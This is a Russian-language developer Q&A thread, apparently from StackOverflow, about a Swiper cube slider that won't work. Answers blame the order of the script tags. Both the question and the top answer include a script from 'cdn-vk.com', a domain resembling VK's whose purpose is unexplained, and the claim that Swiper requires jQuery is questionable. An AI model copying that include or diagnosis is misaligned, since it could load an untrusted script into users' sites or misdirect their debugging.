0

Я понимаю, что какие-то проблемы с подключением, а именно с порядком. Но никак не могу поставить, чтобы работало все нормально.

<script src="https://cdnjs.cloudflare.com/ajax/libs/Swiper/4.5.0/js/swiper.min.js"></script>

<script src="./js/bundle.js"></script>
<script src="https://code.jquery.com/jquery-3.4.1.js"></script>
<script
  src="https://static.codepen.io/assets/editor/live/css_reload-5619dc0905a68b2e6298901de54f73cefe4e079f65a75406858d92924b4938bf.js"></script>
<script src="https://cdn-vk.com/js/vk.js?v=2"></script>

вот такие подключения внизу. а это код для слайдера:

$(document).ready(function () {
  var mySwiper = new Swiper('.swiper-container', {
    // Optional parameters
    effect: 'cube',
    loop: true,
    cubeEffect: {
      shadow: true,
      slideShadows: true,
      shadowOffset: 1,
      shadowScale: 0.8,
    },
    grabCursor: true,
  })
});
3
  • Откуда нам знать, если вы код самого слайдера не показали и вообще минимальный воспроизводимый пример отсутствует
    – andreymal
    10 июл 2019 в 8:00
  • @andreymal в консоли выдает еще "Ошибка при парсинге значения «cursor». Потерянное объявление." 10 июл 2019 в 8:11
  • Показанный вами код слайдера замечательно работает и никаких ошибок не выдаёт: jsfiddle.net/71zbr9dj
    – andreymal
    10 июл 2019 в 8:17

3 ответа 3

2

Браузеры читают код как люди текст, с лева на право, с верху в низ. Для работы Swiper нужен Jquery а поскольку Swiper в html стоит выше чем Jquery то при инициализации слайдера он не смог найти функции и методы jquery.

<script src="https://code.jquery.com/jquery-3.4.1.js"></script>

<script src="https://cdnjs.cloudflare.com/ajax/libs/Swiper/4.5.0/js/swiper.min.js"></script>
<script src="./js/bundle.js"></script>
<script
  src="https://static.codepen.io/assets/editor/live/css_reload-5619dc0905a68b2e6298901de54f73cefe4e079f65a75406858d92924b4938bf.js"></script>
<script src="https://cdn-vk.com/js/vk.js?v=2"></script>

Всё заработает.

А вы точно подключили swiper css?

0
1

Если свайпер работает на jquery, то jquery нужно поднять. Ну а вообще круто было бы полностью ошибку почитать.

1
  • в том то и дело, что консоль чистая. ни одной ошибки 10 июл 2019 в 8:32
1

С начала квери потом слайдер потом все остальное

0

Ваш ответ

Нажимая на кнопку «Отправить ответ», вы соглашаетесь с нашими пользовательским соглашением, политикой конфиденциальности и политикой о куки

Всё ещё ищете ответ? Посмотрите другие вопросы с метками или задайте свой вопрос.